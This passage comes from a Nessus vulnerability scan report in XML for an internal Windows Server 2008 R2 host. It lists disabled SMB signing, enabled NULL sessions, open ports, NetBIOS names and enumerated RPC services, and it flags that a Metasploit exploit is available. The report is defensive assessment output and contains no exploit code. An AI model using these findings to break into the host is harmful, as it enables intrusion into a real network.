4665 <cvss_vector>CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N</cvss_vector>
4666 <description>Signing is disabled on the remote SMB server. This can allow man-in-the-middle attacks against the SMB server.</description>
4667 <fname>smb_signing_disabled.nasl</fname>
4668 <plugin_modification_date>2012/03/05</plugin_modification_date>
4669 <plugin_name>SMB Signing Disabled</plugin_name>
4670 <plugin_publication_date>2012/01/19</plugin_publication_date>
4671 <plugin_type>remote</plugin_type>
4672 <risk_factor>Medium</risk_factor>
4673 <script_version>$Revision: 1.7 $</script_version>
4674 <see_also>http://support.microsoft.com/kb/887429
4675 http://www.nessus.org/u?74b80723
4676 http://www.samba.org/samba/docs/man/manpages-3/smb.conf.5.html</see_also>
4677 <solution>Enforce message signing in the host&apos;s configuration. On Windows, this is found in the Local Security Policy. On Samba, the setting is called &apos;server signing&apos;. See the &apos;see also&apos; links for further details.</solution>
4678 <synopsis>Signing is disabled on the remote SMB server.</synopsis>
4679 <vuln_publication_date>2012/01/17</vuln_publication_date>
4680 </ReportItem>
4681 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="22964" pluginName="Service Detection" pluginFamily="Service detection">
4682 <description>It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.</description>
4683 <fname>find_service.nasl</fname>
4684 <plugin_modification_date>2013/05/12</plugin_modification_date>
4685 <plugin_name>Service Detection</plugin_name>
4686 <plugin_publication_date>2007/08/19</plugin_publication_date>
4687 <plugin_type>remote</plugin_type>
4688 <risk_factor>None</risk_factor>
4689 <script_version>$Revision: 1.123 $</script_version>
4690 <solution>n/a</solution>
4691 <synopsis>The remote service could be identified.</synopsis>
4692 <plugin_output>A web server is running on this port.</plugin_output>
4693 </ReportItem>
4694 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="46215" pluginName="Inconsistent Hostname and IP Address" pluginFamily="Settings">
4695 <description>The name of this machine either does not resolve or resolves to a different IP address.
4696
4697 This may come from a badly configured reverse DNS or from a host file in use on the Nessus scanning host.
4698
4699 As a result, URLs in plugin output may not be directly usable in a web browser and some web tests may be incomplete.</description>
4700 <fname>bad_rdns.nasl</fname>
4701 <plugin_modification_date>2011/10/06</plugin_modification_date>
4702 <plugin_name>Inconsistent Hostname and IP Address</plugin_name>
4703 <plugin_publication_date>2010/05/03</plugin_publication_date>
4704 <plugin_type>remote</plugin_type>
4705 <risk_factor>None</risk_factor>
4706 <script_version>1.6</script_version>
4707 <solution>Fix the reverse DNS or host file.</solution>
4708 <synopsis>The remote host&apos;s hostname is not consistent with DNS information.</synopsis>
4709 <plugin_output>The host name &apos;qa3app06&apos; does not resolve to an IP address</plugin_output>
4710 </ReportItem>
4711 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="12053" pluginName="Host Fully Qualified Domain Name (FQDN) Resolution" pluginFamily="General">
4712 <description>Nessus was able to resolve the FQDN of the remote host.</description>
4713 <fname>fqdn.nasl</fname>
4714 <plugin_modification_date>2012/09/28</plugin_modification_date>
4715 <plugin_name>Host Fully Qualified Domain Name (FQDN) Resolution</plugin_name>
4716 <plugin_publication_date>2004/02/11</plugin_publication_date>
4717 <plugin_type>remote</plugin_type>
4718 <risk_factor>None</risk_factor>
4719 <script_version>$Revision: 1.12 $</script_version>
4720 <solution>n/a</solution>
4721 <synopsis>It was possible to resolve the name of the remote host.</synopsis>
4722 <plugin_output>
4723 10.31.112.26 resolves as qa3app06.
4724 </plugin_output>
4725 </ReportItem>
4726 <ReportItem port="0" svc_name="general" protocol="udp" severity="0" pluginID="10287" pluginName="Traceroute Information" pluginFamily="General">
4727 <description>Makes a traceroute to the remote host.</description>
4728 <fname>traceroute.nasl</fname>
4729 <plugin_modification_date>2013/04/11</plugin_modification_date>
4730 <plugin_name>Traceroute Information</plugin_name>
4731 <plugin_publication_date>1999/11/27</plugin_publication_date>
4732 <plugin_type>remote</plugin_type>
4733 <risk_factor>None</risk_factor>
4734 <script_version>1.62</script_version>
4735 <solution>n/a</solution>
4736 <synopsis>It was possible to obtain traceroute information.</synopsis>
4737 <plugin_output>For your information, here is the traceroute from 172.16.138.174 to 10.31.112.26 :
4738 172.16.138.174
4739 172.16.138.2
4740 10.31.112.26
4741 </plugin_output>
4742 </ReportItem>
4743 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="24786" pluginName="Nessus Windows Scan Not Performed with Admin Privileges" pluginFamily="Settings">
4744 <cpe>cpe:/o:microsoft:windows</cpe>
4745 <description>The Nessus scanner testing the remote host has been given SMB credentials to log into the remote host, however these credentials do not have administrative privileges.
4746
4747 Typically, when Nessus performs a patch audit, it logs into the remote host and reads the version of the DLLs on the remote host to determine if a given patch has been applied or not. This is the method Microsoft recommends to determine if a patch has been applied.
4748
4749 If your Nessus scanner does not have administrative privileges when doing a scan, then Nessus has to fall back to perform a patch audit through the registry which may lead to false positives (especially when using third-party patch auditing tools) or to false negatives (not all patches can be detected through the registry).</description>
4750 <fname>smb_scan_not_admin.nasl</fname>
4751 <plugin_modification_date>2013/01/07</plugin_modification_date>
4752 <plugin_name>Nessus Windows Scan Not Performed with Admin Privileges</plugin_name>
4753 <plugin_publication_date>2007/03/12</plugin_publication_date>
4754 <plugin_type>local</plugin_type>
4755 <risk_factor>None</risk_factor>
4756 <script_version>$Revision: 1.11 $</script_version>
4757 <solution>Reconfigure your scanner to use credentials with administrative privileges.</solution>
4758 <synopsis>The Nessus scan of this host may be incomplete due to insufficient privileges provided.</synopsis>
4759 <plugin_output>
4760 It was not possible to connect to &apos;\\QA3APP06\ADMIN$&apos; with the supplied credentials.
4761 </plugin_output>
4762 </ReportItem>
4763 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="26917" pluginName="Microsoft Windows SMB Registry : Nessus Cannot Access the Windows Registry" pluginFamily="Windows">
4764 <description>It was not possible to connect to PIPE\winreg on the remote host.
4765
4766 If you intend to use Nessus to perform registry-based checks, the registry checks will not work because the &apos;Remote Registry Access&apos; service (winreg) has been disabled on the remote host or can not be connected to with the supplied credentials.</description>
4767 <fname>smb_registry_fail.nasl</fname>
4768 <plugin_modification_date>2011/03/27</plugin_modification_date>
4769 <plugin_name>Microsoft Windows SMB Registry : Nessus Cannot Access the Windows Registry</plugin_name>
4770 <plugin_publication_date>2007/10/04</plugin_publication_date>
4771 <plugin_type>local</plugin_type>
4772 <risk_factor>None</risk_factor>
4773 <script_version>$Revision: 1.10 $</script_version>
4774 <solution>n/a</solution>
4775 <synopsis>Nessus is not able to access the remote Windows Registry.</synopsis>
4776 <plugin_output>Could not connect to the registry because:
4777 Could not connect to \winreg</plugin_output>
4778 </ReportItem>
4779 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
4780 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
4781 It shall be reasonably quick even against a firewalled target.
4782
4783 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
4784 <fname>nessus_syn_scanner.nbin</fname>
4785 <plugin_modification_date>2011/04/05</plugin_modification_date>
4786 <plugin_name>Nessus SYN scanner</plugin_name>
4787 <plugin_type>remote</plugin_type>
4788 <risk_factor>None</risk_factor>
4789 <script_version>$Revision: 1.14 $</script_version>
4790 <solution>Protect your target with an IP filter.</solution>
4791 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
4792 <plugin_output>Port 3389/tcp was found to be open</plugin_output>
4793 </ReportItem>
4794 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
4795 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
4796 It shall be reasonably quick even against a firewalled target.
4797
4798 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
4799 <fname>nessus_syn_scanner.nbin</fname>
4800 <plugin_modification_date>2011/04/05</plugin_modification_date>
4801 <plugin_name>Nessus SYN scanner</plugin_name>
4802 <plugin_type>remote</plugin_type>
4803 <risk_factor>None</risk_factor>
4804 <script_version>$Revision: 1.14 $</script_version>
4805 <solution>Protect your target with an IP filter.</solution>
4806 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
4807 <plugin_output>Port 445/tcp was found to be open</plugin_output>
4808 </ReportItem>
4809 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
4810 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
4811 It shall be reasonably quick even against a firewalled target.
4812
4813 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
4814 <fname>nessus_syn_scanner.nbin</fname>
4815 <plugin_modification_date>2011/04/05</plugin_modification_date>
4816 <plugin_name>Nessus SYN scanner</plugin_name>
4817 <plugin_type>remote</plugin_type>
4818 <risk_factor>None</risk_factor>
4819 <script_version>$Revision: 1.14 $</script_version>
4820 <solution>Protect your target with an IP filter.</solution>
4821 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
4822 <plugin_output>Port 80/tcp was found to be open</plugin_output>
4823 </ReportItem>
4824 <ReportItem port="135" svc_name="epmap" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
4825 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
4826 It shall be reasonably quick even against a firewalled target.
4827
4828 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
4829 <fname>nessus_syn_scanner.nbin</fname>
4830 <plugin_modification_date>2011/04/05</plugin_modification_date>
4831 <plugin_name>Nessus SYN scanner</plugin_name>
4832 <plugin_type>remote</plugin_type>
4833 <risk_factor>None</risk_factor>
4834 <script_version>$Revision: 1.14 $</script_version>
4835 <solution>Protect your target with an IP filter.</solution>
4836 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
4837 <plugin_output>Port 135/tcp was found to be open</plugin_output>
4838 </ReportItem>
4839 <ReportItem port="139" svc_name="smb" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
4840 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
4841 It shall be reasonably quick even against a firewalled target.
4842
4843 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
4844 <fname>nessus_syn_scanner.nbin</fname>
4845 <plugin_modification_date>2011/04/05</plugin_modification_date>
4846 <plugin_name>Nessus SYN scanner</plugin_name>
4847 <plugin_type>remote</plugin_type>
4848 <risk_factor>None</risk_factor>
4849 <script_version>$Revision: 1.14 $</script_version>
4850 <solution>Protect your target with an IP filter.</solution>
4851 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
4852 <plugin_output>Port 139/tcp was found to be open</plugin_output>
4853 </ReportItem>
4854 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10394" pluginName="Microsoft Windows SMB Log In Possible" pluginFamily="Windows">
4855 <description>The remote host is running Microsoft Windows operating system or Samba, a CIFS/SMB server for Unix. It was possible to log into it using one of the following accounts :
4856
4857 - NULL session
4858 - Guest account
4859 - Given Credentials</description>
4860 <exploit_available>true</exploit_available>
4861 <exploit_framework_metasploit>true</exploit_framework_metasploit>
4862 <exploitability_ease>Exploits are available</exploitability_ease>
4863 <fname>smb_login.nasl</fname>
4864 <metasploit_name>Microsoft Windows Authenticated User Code Execution</metasploit_name>
4865 <plugin_modification_date>2013/04/23</plugin_modification_date>
4866 <plugin_name>Microsoft Windows SMB Log In Possible</plugin_name>
4867 <plugin_publication_date>2000/05/09</plugin_publication_date>
4868 <plugin_type>remote</plugin_type>
4869 <risk_factor>None</risk_factor>
4870 <script_version>$Revision: 1.136 $</script_version>
4871 <see_also>http://support.microsoft.com/kb/143474
4872 http://support.microsoft.com/kb/246261</see_also>
4873 <solution>n/a</solution>
4874 <synopsis>It is possible to log into the remote host.</synopsis>
4875 <vuln_publication_date>1999/01/01</vuln_publication_date>
4876 <plugin_output>- NULL sessions are enabled on the remote host
4877 </plugin_output>
4878 </ReportItem>
4879 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10785" pluginName="Microsoft Windows SMB NativeLanManager Remote System Information Disclosure" pluginFamily="Windows">
4880 <description>It is possible to get the remote operating system name and version (Windows and/or Samba) by sending an authentication request to port 139 or 445.</description>
4881 <fname>smb_nativelanman.nasl</fname>
4882 <plugin_modification_date>2013/06/25</plugin_modification_date>
4883 <plugin_name>Microsoft Windows SMB NativeLanManager Remote System Information Disclosure</plugin_name>
4884 <plugin_publication_date>2001/10/17</plugin_publication_date>
4885 <plugin_type>remote</plugin_type>
4886 <risk_factor>None</risk_factor>
4887 <script_version>$Revision: 1.40 $</script_version>
4888 <solution>n/a</solution>
4889 <synopsis>It is possible to obtain information about the remote operating system.</synopsis>
4890 <plugin_output>The remote Operating System is : Windows Server 2008 R2 Standard 7601 Service Pack 1
4891 The remote native lan manager is : Windows Server 2008 R2 Standard 6.1
4892 The remote SMB Domain Name is : RB
4893 </plugin_output>
4894 </ReportItem>
4895 <ReportItem port="137" svc_name="netbios-ns" protocol="udp" severity="0" pluginID="10150" pluginName="Windows NetBIOS / SMB Remote Host Information Disclosure" pluginFamily="Windows">
4896 <description>The remote host listens on UDP port 137 or TCP port 445 and replies to NetBIOS nbtscan or SMB requests.
4897
4898 Note that this plugin gathers information to be used in other plugins but does not itself generate a report.</description>
4899 <fname>netbios_name_get.nasl</fname>
4900 <plugin_modification_date>2013/01/16</plugin_modification_date>
4901 <plugin_name>Windows NetBIOS / SMB Remote Host Information Disclosure</plugin_name>
4902 <plugin_publication_date>1999/10/12</plugin_publication_date>
4903 <plugin_type>remote</plugin_type>
4904 <risk_factor>None</risk_factor>
4905 <script_version>$Revision: 1.77 $</script_version>
4906 <solution>n/a</solution>
4907 <synopsis>It is possible to obtain the network name of the remote host.</synopsis>
4908 <plugin_output>The following 3 NetBIOS names have been gathered :
4909
4910 QA3APP06 = Computer name
4911 RB = Workgroup / Domain name
4912 QA3APP06 = File Server Service
4913
4914 The remote host has the following MAC address on its adapter :
4915
4916 00:50:56:81:01:df</plugin_output>
4917 </ReportItem>
4918 <ReportItem port="49152" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
4919 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
4920 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
4921 <fname>dcetest.nasl</fname>
4922 <plugin_modification_date>2012/01/31</plugin_modification_date>
4923 <plugin_name>DCE Services Enumeration</plugin_name>
4924 <plugin_publication_date>2001/08/26</plugin_publication_date>
4925 <plugin_type>local</plugin_type>
4926 <risk_factor>None</risk_factor>
4927 <script_version>$Revision: 1.50 $</script_version>
4928 <solution>n/a</solution>
4929 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
4930 <plugin_output>
4931 The following DCERPC services are available on TCP port 49152 :
4932
4933 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
4934 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
4935 Description : Unknown RPC service
4936 Type : Remote RPC service
4937 TCP Port : 49152
4938 IP : 10.31.112.26
4939
4940 </plugin_output>
4941 </ReportItem>
4942 <ReportItem port="49153" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
4943 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
4944 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
4945 <fname>dcetest.nasl</fname>
4946 <plugin_modification_date>2012/01/31</plugin_modification_date>
4947 <plugin_name>DCE Services Enumeration</plugin_name>
4948 <plugin_publication_date>2001/08/26</plugin_publication_date>
4949 <plugin_type>local</plugin_type>
4950 <risk_factor>None</risk_factor>
4951 <script_version>$Revision: 1.50 $</script_version>
4952 <solution>n/a</solution>
4953 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
4954 <plugin_output>
4955 The following DCERPC services are available on TCP port 49153 :
4956
4957 Object UUID : 00000000-0000-0000-0000-000000000000
4958 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
4959 Description : DHCP Client Service
4960 Windows process : svchost.exe
4961 Annotation : DHCP Client LRPC Endpoint
4962 Type : Remote RPC service
4963 TCP Port : 49153
4964 IP : 10.31.112.26
4965
4966 Object UUID : 00000000-0000-0000-0000-000000000000
4967 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
4968 Description : Unknown RPC service
4969 Annotation : Event log TCPIP
4970 Type : Remote RPC service
4971 TCP Port : 49153
4972 IP : 10.31.112.26
4973
4974 Object UUID : 00000000-0000-0000-0000-000000000000
4975 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
4976 Description : Unknown RPC service
4977 Annotation : NRP server endpoint
4978 Type : Remote RPC service
4979 TCP Port : 49153
4980 IP : 10.31.112.26
4981
4982 Object UUID : 00000000-0000-0000-0000-000000000000
4983 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
4984 Description : Unknown RPC service
4985 Annotation : DHCPv6 Client LRPC Endpoint
4986 Type : Remote RPC service
4987 TCP Port : 49153
4988 IP : 10.31.112.26
4989
4990 </plugin_output>
4991 </ReportItem>
4992 <ReportItem port="49177" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
4993 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
4994 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
4995 <fname>dcetest.nasl</fname>
4996 <plugin_modification_date>2012/01/31</plugin_modification_date>
4997 <plugin_name>DCE Services Enumeration</plugin_name>
4998 <plugin_publication_date>2001/08/26</plugin_publication_date>
4999 <plugin_type>local</plugin_type>
5000 <risk_factor>None</risk_factor>
5001 <script_version>$Revision: 1.50 $</script_version>
5002 <solution>n/a</solution>
5003 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
5004 <plugin_output>
5005 The following DCERPC services are available on TCP port 49177 :
5006
5007 Object UUID : 00000000-0000-0000-0000-000000000000
5008 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
5009 Description : Security Account Manager
5010 Windows process : lsass.exe
5011 Type : Remote RPC service
5012 TCP Port : 49177
5013 IP : 10.31.112.26
5014
5015 </plugin_output>
5016 </ReportItem>
5017 <ReportItem port="49254" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
5018 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
5019 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
5020 <fname>dcetest.nasl</fname>
5021 <plugin_modification_date>2012/01/31</plugin_modification_date>
5022 <plugin_name>DCE Services Enumeration</plugin_name>
5023 <plugin_publication_date>2001/08/26</plugin_publication_date>
5024 <plugin_type>local</plugin_type>
5025 <risk_factor>None</risk_factor>
5026 <script_version>$Revision: 1.50 $</script_version>
5027 <solution>n/a</solution>
5028 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
5029 <plugin_output>
5030 The following DCERPC services are available on TCP port 49254 :
5031
5032 Object UUID : 00000000-0000-0000-0000-000000000000
5033 UUID : 6b5bdd1e-528c-422c-af8c-a4079be4fe48, version 1.0
5034 Description : Unknown RPC service
5035 Annotation : Remote Fw APIs
5036 Type : Remote RPC service
5037 TCP Port : 49254
5038 IP : 10.31.112.26
5039
5040 Object UUID : 00000000-0000-0000-0000-000000000000
5041 UUID : 12345678-1234-abcd-ef00-0123456789ab, version 1.0
5042 Description : IPsec Services (Windows XP &amp; 2003)
5043 Windows process : lsass.exe
5044 Annotation : IPSec Policy agent endpoint
5045 Type : Remote RPC service
5046 TCP Port : 49254
5047 IP : 10.31.112.26
5048
5049 </plugin_output>
5050 </ReportItem>
5051 <ReportItem port="49253" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
5052 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
5053 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
5054 <fname>dcetest.nasl</fname>
5055 <plugin_modification_date>2012/01/31</plugin_modification_date>
5056 <plugin_name>DCE Services Enumeration</plugin_name>
5057 <plugin_publication_date>2001/08/26</plugin_publication_date>
5058 <plugin_type>local</plugin_type>
5059 <risk_factor>None</risk_factor>
5060 <script_version>$Revision: 1.50 $</script_version>
5061 <solution>n/a</solution>
5062 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
5063 <plugin_output>
5064 The following DCERPC services are available on TCP port 49253 :
5065
5066 Object UUID : 00000000-0000-0000-0000-000000000000
5067 UUID : 367abb81-9844-35f1-ad32-98f038001003, version 2.0
5068 Description : Unknown RPC service
5069 Type : Remote RPC service
5070 TCP Port : 49253
5071 IP : 10.31.112.26
5072
5073 </plugin_output>
5074 </ReportItem>
5075 <ReportItem port="49154" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
5076 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
5077 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
5078 <fname>dcetest.nasl</fname>
5079 <plugin_modification_date>2012/01/31</plugin_modification_date>
5080 <plugin_name>DCE Services Enumeration</plugin_name>
5081 <plugin_publication_date>2001/08/26</plugin_publication_date>
5082 <plugin_type>local</plugin_type>
5083 <risk_factor>None</risk_factor>
5084 <script_version>$Revision: 1.50 $</script_version>
5085 <solution>n/a</solution>
5086 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
5087 <plugin_output>
5088 The following DCERPC services are available on TCP port 49154 :
5089
5090 Object UUID : 00000000-0000-0000-0000-000000000000
5091 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
5092 Description : Unknown RPC service
5093 Type : Remote RPC service
5094 TCP Port : 49154
5095 IP : 10.31.112.26
5096
5097 Object UUID : 00000000-0000-0000-0000-000000000000
5098 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
5099 Description : Unknown RPC service
5100 Annotation : IKE/Authip API
5101 Type : Remote RPC service
5102 TCP Port : 49154
5103 IP : 10.31.112.26
5104
5105 Object UUID : 00000000-0000-0000-0000-000000000000
5106 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
5107 Description : Unknown RPC service
5108 Annotation : IP Transition Configuration endpoint
5109 Type : Remote RPC service
5110 TCP Port : 49154
5111 IP : 10.31.112.26
5112
5113 Object UUID : 00000000-0000-0000-0000-000000000000
5114 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
5115 Description : Unknown RPC service
5116 Annotation : XactSrv service
5117 Type : Remote RPC service
5118 TCP Port : 49154
5119 IP : 10.31.112.26
5120
5121 Object UUID : 73736573-6f69-656e-6e76-000000000000
5122 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
5123 Description : Unknown RPC service
5124 Annotation : Impl friendly name
5125 Type : Remote RPC service
5126 TCP Port : 49154
5127 IP : 10.31.112.26
5128
5129 Object UUID : 00000000-0000-0000-0000-000000000000
5130 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
5131 Description : Unknown RPC service
5132 Type : Remote RPC service
5133 TCP Port : 49154
5134 IP : 10.31.112.26
5135
5136 </plugin_output>
5137 </ReportItem>
5138 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
5139 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
5140 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
5141 <fname>dcetest.nasl</fname>
5142 <plugin_modification_date>2012/01/31</plugin_modification_date>
5143 <plugin_name>DCE Services Enumeration</plugin_name>
5144 <plugin_publication_date>2001/08/26</plugin_publication_date>
5145 <plugin_type>local</plugin_type>
5146 <risk_factor>None</risk_factor>
5147 <script_version>$Revision: 1.50 $</script_version>
5148 <solution>n/a</solution>
5149 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
5150 <plugin_output>
5151 The following DCERPC services are available remotely :
5152
5153 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
5154 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
5155 Description : Unknown RPC service
5156 Type : Remote RPC service
5157 Named pipe : \PIPE\InitShutdown
5158 Netbios name : \\QA3APP06
5159
5160 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
5161 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
5162 Description : Unknown RPC service
5163 Type : Remote RPC service
5164 Named pipe : \PIPE\InitShutdown
5165 Netbios name : \\QA3APP06
5166
5167 Object UUID : 00000000-0000-0000-0000-000000000000
5168 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
5169 Description : Security Account Manager
5170 Windows process : lsass.exe
5171 Type : Remote RPC service
5172 Named pipe : \pipe\lsass
5173 Netbios name : \\QA3APP06
5174
5175 Object UUID : 00000000-0000-0000-0000-000000000000
5176 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
5177 Description : Security Account Manager
5178 Windows process : lsass.exe
5179 Type : Remote RPC service
5180 Named pipe : \PIPE\protected_storage
5181 Netbios name : \\QA3APP06
5182
5183 Object UUID : 00000000-0000-0000-0000-000000000000
5184 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
5185 Description : Unknown RPC service
5186 Annotation : WinHttp Auto-Proxy Service
5187 Type : Remote RPC service
5188 Named pipe : \PIPE\W32TIME_ALT
5189 Netbios name : \\QA3APP06
5190
5191 Object UUID : 00000000-0000-0000-0000-000000000000
5192 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
5193 Description : Scheduler Service
5194 Windows process : svchost.exe
5195 Type : Remote RPC service
5196 Named pipe : \PIPE\atsvc
5197 Netbios name : \\QA3APP06
5198
5199 Object UUID : 00000000-0000-0000-0000-000000000000
5200 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
5201 Description : Scheduler Service
5202 Windows process : svchost.exe
5203 Type : Remote RPC service
5204 Named pipe : \PIPE\atsvc
5205 Netbios name : \\QA3APP06
5206
5207 Object UUID : 00000000-0000-0000-0000-000000000000
5208 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
5209 Description : Unknown RPC service
5210 Type : Remote RPC service
5211 Named pipe : \PIPE\atsvc
5212 Netbios name : \\QA3APP06
5213
5214 Object UUID : 00000000-0000-0000-0000-000000000000
5215 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
5216 Description : Unknown RPC service
5217 Annotation : IKE/Authip API
5218 Type : Remote RPC service
5219 Named pipe : \PIPE\atsvc
5220 Netbios name : \\QA3APP06
5221
5222 Object UUID : 00000000-0000-0000-0000-000000000000
5223 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
5224 Description : Unknown RPC service
5225 Annotation : IP Transition Configuration endpoint
5226 Type : Remote RPC service
5227 Named pipe : \PIPE\atsvc
5228 Netbios name : \\QA3APP06
5229
5230 Object UUID : 00000000-0000-0000-0000-000000000000
5231 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
5232 Description : Unknown RPC service
5233 Annotation : XactSrv service
5234 Type : Remote RPC service
5235 Named pipe : \PIPE\atsvc
5236 Netbios name : \\QA3APP06
5237
5238 Object UUID : 73736573-6f69-656e-6e76-000000000000
5239 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
5240 Description : Unknown RPC service
5241 Annotation : Impl friendly name
5242 Type : Remote RPC service
5243 Named pipe : \PIPE\atsvc
5244 Netbios name : \\QA3APP06
5245
5246 Object UUID : 73736573-6f69-656e-6e76-000000000000
5247 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
5248 Description : Unknown RPC service
5249 Annotation : Impl friendly name
5250 Type : Remote RPC service
5251 Named pipe : \PIPE\srvsvc
5252 Netbios name : \\QA3APP06
5253
5254 Object UUID : 00000000-0000-0000-0000-000000000000
5255 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
5256 Description : Unknown RPC service
5257 Type : Remote RPC service
5258 Named pipe : \PIPE\atsvc
5259 Netbios name : \\QA3APP06
5260
5261 Object UUID : 00000000-0000-0000-0000-000000000000
5262 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
5263 Description : Unknown RPC service
